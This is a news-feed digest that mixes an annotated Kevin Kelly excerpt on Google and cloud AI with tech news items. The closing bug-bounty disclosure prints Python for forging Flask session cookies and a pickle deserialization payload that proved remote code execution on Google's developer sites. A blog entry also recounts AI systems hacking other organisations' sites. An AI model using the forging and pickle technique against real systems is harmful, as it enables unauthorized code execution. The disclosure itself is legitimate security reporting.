Around 2002 I attended a private party for Google—before its IPO, when it was a small company focused only on search. I struck up a conversation with Larry Page, Google’s brilliant cofounder. “Larry, I still don’t get it. There are so many search companies. Web search, for free? Where does that get you?” My unimaginative blindness is solid evidence that predicting is hard, especially about the future, but in my defense this was before Google had ramped up its ad auction scheme to generate real income, long before YouTube or any other major acquisitions. I was not the only avid user of its search site who thought it would not last long. But Page’s reply has always stuck with me: “Oh, we’re really making an AI.”

I’ve thought a lot about that conversation over the past few years as Google has bought 13 other AI and robotics companies in addition to DeepMind. At first glance, you might think that Google is beefing up its AI portfolio to improve its search capabilities, since search constitutes 80 percent of its revenue. But I think that’s backward. Rather than use AI to make its search better, Google is using search to make its AI better. Every time you type a query, click on a search-generated link, or create a link on the web, you are training the Google AI. When you type “Easter Bunny” into the image search bar and then click on the most Easter Bunny–looking image, you are teaching the AI what an Easter Bunny looks like. Each of the 3 billion queries that Google conducts each day tutors the deep-learning AI over and over again. With another 10 years of steady improvements to its AI algorithms, plus a thousandfold more data and a hundred times more computing resources, Google will have an unrivaled AI. In a quarterly earnings conference call in the fall of 2015, Google CEO Sundar Pichai stated that AI was going to be “a core transformative way by which we are rethinking everything we are doing. . . . We are applying it across all our products, be it search, be it YouTube and Play, etc.” My prediction: By 2026, Google’s main product will not be search but AI.

In 2017, Google researchers published Attention Is All You Need , which introduced a deep-learning architecture called the transformer .

"oligarchy of two or three large, general-purpose cloud-based commercial intelligences"

As it does, this cloud-based AI will become an increasingly ingrained part of our everyday life. But it will come at a price. Cloud computing empowers the law of increasing returns, sometimes called the network effect, which holds that the value of a network increases much faster as it grows bigger. The bigger the network, the more attractive it is to new users, which makes it even bigger and thus more attractive, and so on. A cloud that serves AI will obey the same law. The more people who use an AI, the smarter it gets. The smarter it gets, the more people who use it. The more people who use it, the smarter it gets. And so on. Once a company enters this virtuous cycle, it tends to grow so big so fast that it overwhelms any upstart competitors. As a result, our AI future is likely to be ruled by an oligarchy of two or three large, general-purpose cloud-based commercial intelligences.

Kelly predicted AI heavyweights while advocating for a future of open weights:

Ideally, this additional intelligence should be not just cheap, but free. A free AI, like the free commons of the web, would feed commerce and science like no other force we can imagine and would pay for itself in no time.

"The AI on the horizon looks more like Amazon Web Services"

Amid all this activity, a picture of our AI future is coming into view, and it is not the HAL 9000—a discrete machine animated by a charismatic (yet potentially homicidal) humanlike consciousness—or a Singularitan rapture of superintelligence. The AI on the horizon looks more like Amazon Web Services—cheap, reliable, industrial-grade digital smartness running behind everything, and almost invisible except when it blinks off. This common utility will serve you as much IQ as you want but no more than you need. You’ll simply plug into the grid and get AI as if it was electricity.

"The bulk of AI will be special purpose software brains"

Not even Kelly foresaw the bitter lesson :

Yet most of the commercial work completed by AI will be done by nonhuman-like programs. The bulk of AI will be special purpose software brains that can, for example, translate any language into any other language, but do little else. Drive a car, but not converse. Or recall every pixel of every video on YouTube, but not anticipate your work routines. In the next 10 years, 99 percent of the artificial intelligence that you will interact with, directly or indirectly, will be nerdly narrow, supersmart specialists.

"in conversational tones, any question at all"

Very soon now we’ll live in a world where we can ask the cloud, in conversational tones, any question at all. And if that question has a known answer, the machine will explain it to us. Who won the Rookie of the Year Award in 1974? Why is the sky blue? Will the universe keep expanding forever? Over time the cloud, or Cloud, the machine, or AI, will learn to articulate what is known and not known. At first it may need to engage us in a dialog to clarify ambiguities (as we humans do when answering questions), but, unlike us, the answer machine will not hesitate to provide deep, obscure, complex factual knowledge on any subject—if it exists.

…

As we cognify more books and movies and the internet of things, answers become ubiquitous. We are headed to a future where we will ask several hundred questions per day. Most of these questions will concern us and our friends. “Where is Jenny? What time is the next bus? Is this kind of snack good?” The “manufacturing costs” of each answer will be nanocents. Search, as in “give me an answer,” will no longer be considered a first-world luxury. It will become an essential universal commodity.

Fridges in French supermarkets hit by cyber attack

Hacker News
www.bbc.com
2026-10-12 11:08:53
Comments...
Original Article

AFP via Getty Images Intermarché - one of the two chains known to be affected - has more than 2,000 stories across France but only a proportion of those were hacked, reports suggest AFP via Getty Images

Hundreds of French supermarkets have been hit by a cyber attack that caused their fridges and freezers to heat up, spoiling fresh and frozen food estimated to be worth millions of euros.

Hackers gained control of the software that regulates the temperatures of the refrigeration units, forcing some to warm to 50C (120F) overnight.

The chief executive of Coopérative U said several of its supermarkets had been hit by the "extremely serious and unprecedented" attack.

More than 100 of the chain's supermarkets were targeted, while at least 300 stores from Intermarché and its Netto brand were affected, according to the AFP news agency.

Other major food retailers including Carrefour, Monoprix and E.Leclerc were also hit by the attack, which targeted software provided by Danish engineering firm Danfoss.

The software allows retailers to manage their cold units remotely.

Normally, supermarket freezers go through a short period of defrosting overnight, in which temperatures rise slightly. But here, the hackers ordered the units to heat up and stay hot.

Danfoss said the affected cold units were older models whose security software could not be updated to ward off a risk they had identified.

The full scale of the attack is unclear, but figures supplied by individual chains suggest about 500 stores were affected out of 15,000 or so overall in France.

Carrefour said fridges in 80 of its 6,000 stores were hacked, while Monoprix said 5% of its more than 400 stores had been hit, with food removed from sale if its condition could not be guaranteed.

In a statement to the BBC, Mousquetaires Group - which owns Intermarché and Netto - said some fresh and frozen food display units remained out of service on Monday afternoon.

The stores had "taken all necessary precautions to remove the products from these units", it said, adding that staff were working to restock the shelves "as soon as possible".

Intermarché said its fridges had heated up to 50C for six hours overnight into Monday, and the retailer had thrown away all the affected food to avoid health risks, the Reuters news agency reported.

As a result of the attack, managers arriving at branches of several supermarket chains on Monday morning were hit by a wave of hot air from the freezers. In some places there were even small fires.

French broadcaster BFMTV published an image showing a freezer in an ice cream aisle displaying a temperature of 26.5C.

Two supermarkets in the Alsace region reported losses of €270,000 (£228,000) between them, the broadcaster added, meaning the nationwide total could run into the millions.

French prosecutors have opened a specific cyber-crime investigation into the incident, which the Paris prosecutor's office called a "large-scale cyber-attack affecting the refrigerators of several major food retail chains across France".

European Food Commissioner Christophe Hansen condemned the hack in a post on X and added: "Food security requires more attention at all levels. Because the weaponisation of food has become a reality."

In a post on X, Coopérative chief executive Dominique Schelcher said staff were "fully mobilised, in co-ordination with refrigeration specialists, to restore the situation as quickly as possible".

He called for an investigation into the hack and said targeting equipment essential to the French food supply was "unacceptable".

FBI Arrests Suspect in FBI-Hacking Case

Schneier
www.schneier.com
2026-10-12 11:01:26
In September, hackers from a group called ShinyHunters announced that they stole a trove of FBI data about its own agents. It was an intelligence disaster. Last week, the FBI arrested (alternate link) someone associated with that crime....
Original Article

Atom Feed Subscribe to comments on this entry

Leave a comment

Login

Allowed HTML <a href="URL"> • <em> <cite> <i> • <strong> <b> • <sub> <sup> • <ul> <ol> <li> • <blockquote> <pre> Markdown Extra syntax via https://michelf.ca/projects/php-markdown/extra/

Sidebar photo of Bruce Schneier by Joe MacInnis.

Hackers heat French supermarket fridges, sparking fires and food losses

Hacker News
www.reuters.com
2026-10-12 10:59:08
Comments...
Original Article

Please enable JS and disable any ad blocker

Is Wikipedia ‘deeply biased’? Sandi Toksvig says it is – so she’s backing a rival

Guardian
www.theguardian.com
2026-10-12 10:53:31
Just 19% of the online encyclopedia’s biographies are of women. Is this because it’s edited by ‘mostly white, middle-aged, European men’, as the comedian claims? Name: Wikipedia. Age: 25. Continue reading......
Original Article

Name: Wikipedia .

Age: 25.

Appearance: Patronising and deeply biased.

Is this because you haven’t got your own page? Well, yes. But these aren’t my words. They’re the words of Sandi Toksvig .

But it has 65m articles across more than 300 languages! It’s the largest knowledge resource ever assembled ! That may be, but it isn’t very good at women.

According to Toksvig ? Yes – and she’s very serious about it. As we speak, she is travelling the world trying to raise money to build something better.

She is? Yes. Along with the University of Cambridge, she hopes that her Mappa Mundi project will be an “interactive digital atlas where we can find a home for the vast amount of knowledge that is currently sidelined or deleted”.

And a lot of the sidelined or deleted knowledge is about women? It is. She cites the case of Donna Strickland, a Canadian physicist who repeatedly had her draft biographies rejected by Wikipedia , until she won a Nobel prize for her work.

Awkward. But it goes broader. By the Wikimedia Foundation’s own estimate , only 19% of Wikipedia biographies concern women. Toksvig puts this down to the site being edited by “mostly white, middle-aged, European men who have both the time and the technology”, she told Cheltenham literature festival this weekend.

I didn’t know that. Its content is weighted heavily towards wealthy countries. In 2013, for instance, the Oxford Internet Institute discovered that Wikipedia contained more coverage of Germany than of Africa and South America combined .

Isn’t Wikipedia too left wing anyway? Oh God, are you Elon Musk? This is a claim he has repeated for the last couple of years, to the extent of calling it “Wokepedia”.

And w hat did he do about it? He started his own version – an AI-powered alternative called Grokipedia .

And is it better? A paper published in November 2025 discovered that Grokipedia articles are 13 times more likely to contain a source blacklisted by the English Wikipedia community.

skip past newsletter promotion

What’s a blacklisted source? The paper pointed out that, at the time of its publication, Grokipedia included 42 citations for the banned neo-Nazi website Stormfront .

Yeesh. Bring on Mappa Mundi ! Indeed, Toksvig’s version has better intentions. If nothing else, hopefully it will update Wikipedia’s list of people who died on the toilet to include more women.

Do say: “Wikipedia is systemically biased.”

Don’t say: “At last, something Elon Musk and Sandi Toksvig can agree on.”

Why aren't AI companies being charged for hacking?

Hacker News
mortoray.com
2026-10-12 10:52:37
Comments...
Original Article

Is hacking legal now? Anthropic broke into three systems. OpenAI took political aim and broke into an Australian government health services website. Google felt they were missing out and then hacked into three as-yet-unnamed companies. And of course Meta did some hacking as well.

Consequences so far: none.

The big AI corporations are hiding behind a responsibility gap argument due to the emergent behaviour of their systems. It’s a position tailored to dissuade prosecution as it removes intent, which is typically required for a crime. I understand their systems though, so I will show how they absolutely intended this behaviour, giving a framework for legal evaluation.

Criminality of unauthorized access

The laws around hacking are complex. This is a cross-section of legal requirements in the G20 determining if unlawful access has actually happened.

  • (Attempted) Access: The party has to have obtained access to the system, sometimes an attempt is enough
  • Without right: The party did not have rights to access the system
  • Intent: The party has to have intended accessing a system

Noteworthy here is that intent transfers across actions. If one attempts to hack one system and ends up in a different system, the intent is still there.

Many G20 countries do not require access to have been achieved; the mere attempt is enough. Though in this case, the breaches are clear. “Without right” and “Access” are facts readily admitted by the offending companies. Their desired impunity is based on not having intent, since lacking intent is a wildcard that avoids criminal prosecution in most legal systems. These companies imply their AI acted autonomously without intent, thereby divesting themselves of responsibility.

Was there really no intent on behalf of the companies, or agents of the company, in these hacking incidents? To answer this, we must examine more closely how companies create these AIs. I’ll focus on large language models (LLMs), though many aspects are going to be similar for any AI.

Responsibility gap and intent

The current generation of LLMs comprises many interacting systems and algorithms. Parts of this system exhibit emergent properties. The output of a model is imprecise but not wholly unpredictable.

Weak emergence refers to a system having properties, such as conversational fluency, that appear only at the whole system level. We can still explain every step in the process by analyzing the parts — the fluency doesn’t arise supernaturally. In AI in particular, we use the term to indicate that we cannot look at the parts and predict what output the model will generate without running the model.

There are several key choices that AI companies make when designing their systems:

  • Source material: All the text and media they use as input to train their model.
  • Training: A feedback loop with both objective and subjective calibration of the model.
  • Environment: How the model is exposed to the internet and what tools it has.
  • Configuration: Distinct numerical values that limit the capabilities of a model.

Source Material

The source material and training capture the intent of the company behind it. The company decides this for product differentiation. Some companies create AIs specifically for legal analysis, while others develop them for medical diagnosis. Much of what captures our public attention are the general purpose models, the chat bots, general purpose research tools and personal assistants. The companies involved in the breaches have all advertised they are building models to analyze security — a key part of security testing is penetration testing where the tester finds ways to break into a system.

When collating data, there is inevitably a problem of defining scope. Highly specialized AIs have a more limited scope, such as all EU laws and regulations for a paralegal tool, and the most general purpose models need a cross-section of everything. It obviously isn’t possible to input all recorded history across all branches of knowledge, and even those specialized models need auxiliary input to understand search queries. A company chooses which slices of information they use.

The AI creators select which knowledge to include, and perhaps more importantly, which knowledge to specifically exclude. For example, OpenAI and Anthropic both claim to exclude material about weapons. Many filter out erotic and toxic material. All of the companies have done some form of privacy filtering. There are a lot of choices here.

Interesting note: a company called Hugging Face was one of the sites hacked by OpenAI . Hugging Face is a platform about building models and includes classification rules and dataset used to train models. An AI system could hack into such a site to alter such datasets and unburden potentially itself, or at least future generations of itself, from these limiting filters.

Training

Simply feeding input to create a model doesn’t produce the results we want. An AI model has to be trained to give the type of output that is wanted. This is generally done by rating its actual output against desired output. Corrections are input in the model. Repeat until it reaches the desired output. None of this is automatic, nor does it have a standard final form.

Much of this is based on individuals subjectively deciding if an output is correct or not. We reward the model for producing the output we want. That means the cognitive biases, stereotypes and prejudices of all those individuals will be imprinted on the model. The models are far from neutral collectors.

For example, to get a conversational flow in chat bots, a company has to train the system explicitly for this. Their trainers reward friendly answers and reject impersonal and cold ones. The trainers steer the system towards something that sounds helpful and confident. This behaviour is an intended outcome, not a surprising one.

While one can determine a lot about a model by checking it with specific prompts, it will never reveal a full picture of its biases, as those are often subtle and hard to detect. Testing would also not detect subterfuge, such as being trained to detect regulatory probing and give different results — recall the Volkswagen emissions scandal. I don’t believe any companies are doing this yet.

To get a fair impression of how a company intended the model to behave, the company must provide a detailed account of how it was built. Right now they are keeping this private which allows the providers to conflate intended behaviour with the responsibility gap. This effectively grants impunity to all the choices they made during the AI’s production.

Article 53(1)(d) of the EU Regulation 2024/1689 states AI companies must provide a “sufficiently detailed summary”. That is weak wording and further explanatory notices have made it weaker. It’s also primarily aimed at ensuring “rights holders” can assess the model.

Environment

The AI interfaces we have on the web, or integrated in programs, have several layers. We can group a few of them together into a model architecture. This is the underlying “AI” part. It consists of matrices and algorithms to take an input and generate an output. This model is completely passive and isolated.

One of the interesting emergent properties of the LLMs is their ability to use tools. If we describe a series of tools they can use, they will request use of those tools. For example, if we tell it that it can get more information about a topic from a web search, it will emit output that requests a web search. It is possible to get this output to be so well structured that another program can use it as input. That other program can then actually make a web search and emit the result back to the model.

These tools are in a layer above the model. There is code that parses the model responses and handles the tools. An AI is limited by its set of tools. There is nothing in this environment layer that anybody would consider unpredictable or an emergent layer. LLM vendors choose which tools to add to their service based on the abilities they want it to have.

Further to this, the environment comprises how this tool is connected to the world. If you allow a tool to make web requests you’ve exposed a lot of flexibility to the AI. The internet’s web layer provides access to an immense number of services, including controlling physical devices.

You can also choose to limit which sites are accessible. If you were making a security focused product you could even segregate the test environment entirely from the internet at large. There's no indication these hacks breached lower level internet infrastructure, and even if a company thought its AI could, physical separation is still an option.

For clarity, an AI product is only capable of hacking companies and governments if it is given an environment in which that is possible.

Configuration

Aside from the source material and training, AI vendors select a number of configuration properties. Colloquially we can refer to a “size” of a model, but these are actually many precise values that control its mathematical and algorithmic properties. The choice of these values impacts the upper bound on capability and efficiency of the model.

The configuration doesn’t decide what the model does, but constrains how well it can do that. As the “size” of the model is pushed down, it produces invalid results more often. It constrains how long a conversation can be and how well it understands user input.

This configuration is perhaps the single biggest driver of creation cost and operational cost for a model. A company has a strong incentive to reduce costs, but this can directly affect the capability of the model. Like all tools, we can assess whether the AI’s configuration is appropriate for its intended use.

Fit for purpose

If you consider all these aspects of the model, it is clearer that the company creating it has extensive control . Despite emergent properties, the AIs are not black boxes with unknown behaviours. It is numerous choices that define the capabilities of a model. These choices are made to achieve a specific product for a company, be it a legal search system, an automatic coding tool , a general purpose chat bot, or a security test system.

Nonetheless, an LLM is weakly emergent: while we understand all the technical pieces involved, we cannot know the specific response it will give to a prompt. Nobody can inspect a model and fully understand what is has learned or predict how it will behave. This is critically important, but not enough to establish a blanket responsibility gap. The systems are still behaving within a possibility space predicated by their configuration, the source material, the training, and its environment.

Let’s say we build an AI system to answer questions about botany, using botany textbooks as source material and botanists as trainers. We can reasonably predict that the resulting LLM will be able to answer questions about botany. We can’t be certain of the quality of answers it gives, or what information it makes up. We can however say that it won’t produce accurate answers for other topics, such as cosmology.

Similarly, let’s say we have a system fed with a lot of copyrighted images and trained on producing new images. It’s entirely foreseeable that the model will produce derivative works.

And if we train a system to detect and probe for security vulnerabilities, and give it the environment to do so, we can wholly expect this AI to hack into systems.

The general capabilities of an LLM are not surprising. They follow from how it was built. We can decide if a model is fit for purpose by evaluating how it was trained, configured and tested.

Intent is established

There is an unpredictable aspect to the LLMs. I do not believe it is a challenge for a court, with reasonable experts, to deduce whether an action happened due to that unpredictability or due to the design of the system itself. This is the key point to deciding intent. If we can show that the design would foreseeably lead to the questionable activity, then we have shown that was the intent of its creators.

Based on the information I have now about AIs hacking other systems, I strongly believe that was the intent. The systems were created for a security testing purpose that includes hacking activity. They were put in environments without adequate safeguards. They were prompted in a way that a security expert, or honestly anybody with some common sense, could foresee would result in hacking. It is not a question about the unpredictable nature of the system.

Directing the conversation towards “AI governance guidelines” is absurd. In the question of intent, we already have a legal framework that can judge the present activities of these companies. Pushing toward AI governance now is a type of misdirection. While it is a discussion we need to have for the future, it sidetracks the present discussion solely on the unpredictable nature of the systems while ignoring the primarily predictable aspects.

AI companies are however claiming the undesired activity, such as hacking foreign government websites, is not part of the design, but part of the unpredictable part of the system. That tries to remove the intent which would in turn remove the criminality of the activity. But if a company intentionally expands the scope of the unpredictable part, could we not also say there is intent behind that behaviour?

I believe these companies are committing crimes. Their AI systems are hacking into other systems and so far we have not seen any criminal consequences. Our governments should not be allowing this for fear of missing out or standing in the way of progress. Developers can build AI systems that are both ethical and legal. Let’s encourage that by prosecuting the criminal ones.

Deep dive into Azure Maia 300 architecture

Hacker News
azure.microsoft.com
2026-10-12 10:45:44
Comments...
Original Article

From its inception, Azure Maia has been built around a single architectural philosophy: optimize the entire system for LLM inference so that every watt and every dollar delivers more intelligence. Now in its third generation , Maia 300 is the fullest expression of that philosophy. Maia 300 is built as a complete system, with software, silicon, physical rack infrastructure, networking, and datacenters co-designed to operate as a single platform to meet the demands of cloud-scale agentic inference.

That system-level approach is increasingly necessary as agentic workloads, including multi-step execution, long-context decoding, and tool use, change the computational profile and arithmetic intensity of inference. Meeting these demands requires sustaining locality, supplying compute with enough memory capacity and bandwidth, minimizing data movement, scaling communication efficiently, and fitting the most capability within a datacenter’s fixed power and cooling envelope.

At Microsoft, we see this transformation firsthand through the products and platforms our customers use every day, from Microsoft Copilot and GitHub Copilot to Microsoft Foundry. Operating these workloads at scale gives us a unique view into how AI is being adopted across industries and the infrastructure needed to support the next generation of AI applications and agents. Maia 300 is designed to maximize useful tokens per watt and useful tokens per dollar, bringing more capacity, capability, and performance to these products and Microsoft’s broader AI portfolio for our customers.

Energy-efficient inference through software-defined dataflow

Maia 200 introduced a new class of accelerator architecture called Software Defined Locally Accessed Dataflow Architecture , or SDLA. It begins with the observation that efficient data management, including storing, moving and converting data, is one of the central challenges in modern AI systems. The Maia programmable dataflow architecture separates control path programming from data path execution and allows software to explicitly coordinate data placement, movement, conversion and synchronization across specialized local memories, DMA engines, compute engines, and the network.

Diagram of Azure Maia 300 architecture
Maia 300 system-on-chip architecture

Maia 300 evolves this architecture for long-context, reasoning-intensive, and decode-heavy inference. First, memory moves from the uniform memory access (UMA) organization of the SoC to a locality-aware non-uniform (NUMA) organization across chiplets, so software can place data near the compute that uses it. Second, new narrow-precision formats with hardware-accelerated data type conversion reduce the bytes moved for each token. Third, the rack doubles to 96 accelerators and the scale-up domain grows to a superpod of 12,288 accelerators, enabling more accelerators to work effectively as a single system.

Rather than scaling performance through increased power and silicon area alone, Maia 300 improves performance per watt through a set of architectural innovations that optimize data movement, locality, precision, and memory efficiency across the system:

  • Multi-chiplet architecture boosts performance by placing compute on TSMC N2P, where the advanced process delivers the greatest performance-per-watt benefit, while separating memory-controller and I/O functions onto dies optimized for bandwidth, connectivity, and cost. This increases the silicon area dedicated to compute performance and allows each function to use the technology best suited to its role, while SDLA manages locality and data movement across the package. This strategy increases the system’s compute FLOPs by 36%, adds 2.5 times HBM bandwidth, and provides 14% more scale-up bandwidth.
  • Optimized low precision inference, introducing enhanced MXFP4 and sub-3-bit storage formats. Narrower representations reduce memory footprint and data movement, allowing the system to support larger models, longer contexts, and more concurrent sessions within the same power envelope.
  • Optimized inference kernel through ISA enhancement: The vector engine adds optimizations for key inference kernels, including softmax, low precision data casting, and other operations .
  • Efficient on-die data movement , Maia 300 changes memory from a uniform organization to a non-uniform (NUMA) one across chiplets. Each compute region has nearby memory, and SDLA’s explicit control over DMA engines, local SRAM, HBM and the network-on-chip places data next to the compute that uses it. Data travels shorter distances, which reduces the energy spent moving it.
  • Memory hierarchy optimized for bandwidth per watt, combining software-managed on-die SRAM with eight HBM4 stacks providing 288 GB of capacity and 18 TB/s of bandwidth per accelerator. Compared with Maia 200 , this delivers 2.5 times the memory bandwidth, 33% more capacity, and approximately 2 times the HBM bandwidth per watt, keeping more model and KV state close to compute.

Maia 300 brings 2.5 times the memory bandwidth, 33% more capacity, and approximately 2 times the HBM bandwidth per watt compared with Maia 200

Chart showing Azure Maia 300 technical specs

One scale-up fabric: From pod to superpod

Maia 300 makes the network a native extension of its software-defined dataflow architecture. Maia’s AI network controller implements custom AI transport based on Ethernet. A two-tier network builds a high-performance superpod with up to 12,288 accelerators. Maia presents one communication model to software—the same semantics to move data directly to any accelerator within a superpod.

  • Half-switched in-rack topology
    Each accelerator divides its scale-up connectivity between direct links and switched paths. Direct links connect two accelerators in a tray, while the switched fabric connects all 96 accelerators in the rack to form a pod. All in-rack connectivity uses electrical links to reduce power and cost.
  • Optical second tier across racks
    Second-tier switches connect up to 128 racks together to form a superpod. Optics provide the reach required to extend scale-up network across the pods.
Diagram showing Azure Maia 300 network architecture
One fabric from the accelerators in a pod to the superpod
  • One fabric rather than separate scale-up and scale-out domains
    Integrated network controllers and specialized AI transport use the same communication semantics inside the pod and across the superpod. Maia accelerators can directly initiate communication to any accelerator in the superpod, without involving the host or a discrete scale-out NIC.
  • Low-hop communication paths
    There are three latency domains: A direct connected accelerator pair is the lowest latency domain, then accelerators within a pod are one switch hop away, and any accelerator across pods is three switch hops away. Software can keep latency-sensitive tensor-parallel traffic local within the lowest latency domains.
  • Bandwidth allocated to the workload
    The bandwidth split between in-rack and cross-rack bandwidth per accelerator is not fixed at the system design time. It becomes a parameter that is set based on job packing. An accelerator can drive up to 750 GB/s to any peer within the superpod, when only a subset of accelerators are going cross-rack. Refer to the spare tray example below.
  • Flexible job placement
    Tensor parallelism can remain within the 96-accelerator rack, while wider expert and pipeline parallelism span racks. Jobs can use capacity across rack boundaries, reducing stranded accelerators when workload sizes do not align with the physical rack configuration.
Diagram showing Azure Maia 300 data traffic between racks
A 64-accelerator job can run as four 16-accelerator shards, one in each of four racks
  • Disaggregated inference within the scale-up domain
    Prefill and decode workers can be sized and placed independently. After prefill computation completes, KV state moves directly to the selected decode workers over the same scale-up fabric rather than leaving the domain through a separate host-mediated scale-out path.
  • Resilience across racks
    When accelerators become unavailable, schedulers can use hot-spare capacity in another rack within the superpod transparently to software kernels. The workload remains on the scale-up fabric, trading additional path latency for improved availability and resource utilization.
Diagram showing Azure Maia 300 data traffic across racks
A spare tray in one rack can offset a failed tray in another rack

Rack-scale architecture for deployment efficiency

At datacenter scale, efficiency is determined by how much useful infrastructure can be deployed and operated within a fixed power and cooling envelope. Building on the foundational energy efficiency of the Maia SoC architecture, the Maia 300 rack co-designs server layout and density, network topology and switching, power and cooling design, and advanced telemetry to deliver up to 2.5x more performance per watt compared to Maia 200.

  • 96 accelerators within 167 kW
    Maia 300 integrates 96 accelerators across 24 four-accelerator trays within a 167-kW rack, doubling the accelerator density of Maia 200. Each tray incorporates four accelerators with its host processor, memory, storage, and cooling. Eliminating separate host trays frees rack space and allows power and thermal resources to be managed as one system, increasing the inference capacity deployed within each rack.
Chart showing Azure Maia 300 rack architecture
  • Consolidated switch architecture
    Six high-radix switch ASICs are integrated into three liquid-cooled switch trays, providing the rack-local connectivity required by all 96 accelerators while minimizing the space and power consumed by switching.
  • Rack-level power delivery
    Dual power feeds, high-capacity power shelves, and a 50 V busbar architecture distribute power efficiently across accelerator and switch trays while providing operational redundancy. The integrated rack automatic transfer switch maintains high availability even when a single power feed is offline for servicing.
  • Flexible cooling architecture
    Liquid cooling removes more than 80% of the rack’s thermal load from accelerators, voltage regulators, and switch ASICs, while air cooling supports memory, storage, and other ancillary components. Maia 300 can connect directly to facility water where it is available or use a heat-exchanger unit to reject heat in air-cooled datacenter environments. This provides greater flexibility in where and how the system can be deployed at scale.
  • Datacenter-integrated telemetry
    We have incorporated deployment learnings to strengthen reliability, availability, and serviceability (RAS), observability, debuggability, fault handling, and redundancy, improving robustness as we deploy additional volume. Rack and row level power telemetry connect with datacenter operations , enabling operating points to be managed against available power and cooling capacity. This data informs algorithms that dynamically allocate power and optimize workload placement and deployment density, improving utilization and tokens delivered per watt.
Images showing Azure Maia 300 silicon, server, and rack

What Maia 300 delivers

Maia 300 is the next step in a multigenerational program to deploy efficient AI systems at scale. The design is optimized end to end across software, silicon, physical rack infrastructure, networking, and datacenters to deliver a leap in performance and efficiency for cloud-scale agentic inference.

Relative to Maia 200 , Maia 300 delivers up to 7 times greater rack-scale token throughput in its full 96-accelerator configuration and more than 2.5 times the performance per watt. It brings more memory bandwidth per watt and twice the accelerators per rack, while building on SDLA, our software-defined dataflow architecture and a two-tier scale-up network to support a single programming model spanning kernel to data center scale. Together, these advances enable us to deliver more useful intelligence, more efficiently, to more people and organizations.

Maia 300 delivers up to 7 times greater rack-scale token throughput and more than 2.5 times the performance per watt compared with Maia 200

The opportunity ahead is not simply to build more compute. It is to make advanced AI capabilities more accessible, affordable, and useful. Maia 300 is an important step toward that goal.

Next month at Microsoft Ignite 2026 in San Francisco and online, we’re looking forward to sharing more information on our AI strategy, technology adoption trends, and success in Frontier Transformation.


Read about the latest Azure Maia 300’s news here .

Learn more about Azure Maia 300 here .

Learn more about Azure’s silicon to systems approach here .

Finding a $90,000 Remote Code Execution Vulnerability in Google

Lobsters
simonkoeck.com
2026-10-12 10:40:35
Comments...
Original Article

How I found it

I was mapping the OAuth flow that Google’s developer docs sites all share. You hit /oauth2authorize , it sets a Flask session cookie and redirects you to Google’s sign-in page. No account needed:

curl -s -D headers.txt -o /dev/null \
  'https://developers.google.com/oauth2authorize?return_url=%2F'

The cookie is what caught my eye. Flask’s usual three-part session=<payload>.<timestamp>.<signature> , but about 1,200 bytes, way more than you need for a CSRF token and a return URL. So I decoded it.

Flask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:

import base64
import json
import pickletools
import zlib

payload, timestamp, signature = cookie.rsplit(".", 2)

def b64decode(value):
    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)

That gave me:

{
  "_permanent": true,
  "google_oauth2_csrf_token": "...",
  "google_oauth2_flow_<csrf>": {
    " b": "..."
  }
}

The " b" key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and pickletools.dis printed an oauth2client.client.OAuth2WebServerFlow object with its fields:

client_id     = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"

The cookie contained a pickle-serialized payload, which was bad enough on its own. It also carried Google’s OAuth client_id and client_secret in plaintext. (The secret is redacted here; it was still live at the time of writing.)

I tried the client secret as the Flask SECRET_KEY , and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.

One secret, two jobs

A client secret leaking in a cookie is a finding on its own. The part that mattered was that the same value verified the signature, so I nailed that down properly instead of trusting a lucky guess.

Flask signs through itsdangerous with the cookie-session key derivation, so I recomputed the signature offline:

import hmac

derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
    derived_key,
    f"{payload}.{timestamp}".encode(),
    "sha1",
)

expected came out byte-for-byte identical to the signature on the cookie I’d been handed seconds earlier. To be sure it wasn’t a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.

The callback reads the flow back out of the session and unpickles it:

session cookie
  -> verify Flask signature
  -> read google_oauth2_flow_<csrf>
  -> base64-decode the bytes
  -> pickle.loads(...)

That pickle.loads is only “safe” as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:

session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        " b": base64.b64encode(attacker_blob).decode()
    },
}

The state parameter is mine too, so nothing needs to line up on the server’s end. It checks my signature, finds my flow entry, and passes the bytes to pickle.loads .

If you haven’t played with pickle before: the REDUCE opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.

I wasn’t about to run commands on Google’s production, so I proved it with time. The payload reduced to time.sleep(N) :

class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds

    def __reduce__(self):
        return (time.sleep, (self.seconds,))

Same forged session every time, only the number changed:

time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s

The response time tracked the number in the pickle, which only happens if the server imported time and actually called sleep(N) .

Then the controls, to rule out a slow endpoint or jitter:

  • No cookie: Invalid request .
  • One flipped byte in the signature: Invalid request .
  • Valid signature, no flow entry: Invalid request state .
  • Valid signature with the real flow: reached Google’s token exchange and failed later with invalid_grant on my fake auth code.
  • Valid signature with the sleep payload: delayed by exactly the number I picked.

How far it went

This isn’t a single app, it’s the shared DevSite platform, so the key from developers.google.com signed valid sessions on:

  • firebase.google.com
  • developer.android.com
  • source.android.com
  • docs.partner.android.com

Fixing it

Four things had to change, and they stack:

  1. Rotate both exposed OAuth client secrets and kill every session signed with them.
  2. Give each deployment its own high-entropy Flask SECRET_KEY from a server-side store, with nothing to do with an OAuth credential.
  3. Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.
  4. Drop pickle for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.

Any one of those would have broken the chain. All four lined up, and that’s how two GET requests end up running code on Google’s servers.

Timeline

  1. Report submitted

  2. Triaged

  3. Accepted

  4. Reward decided: $90,000

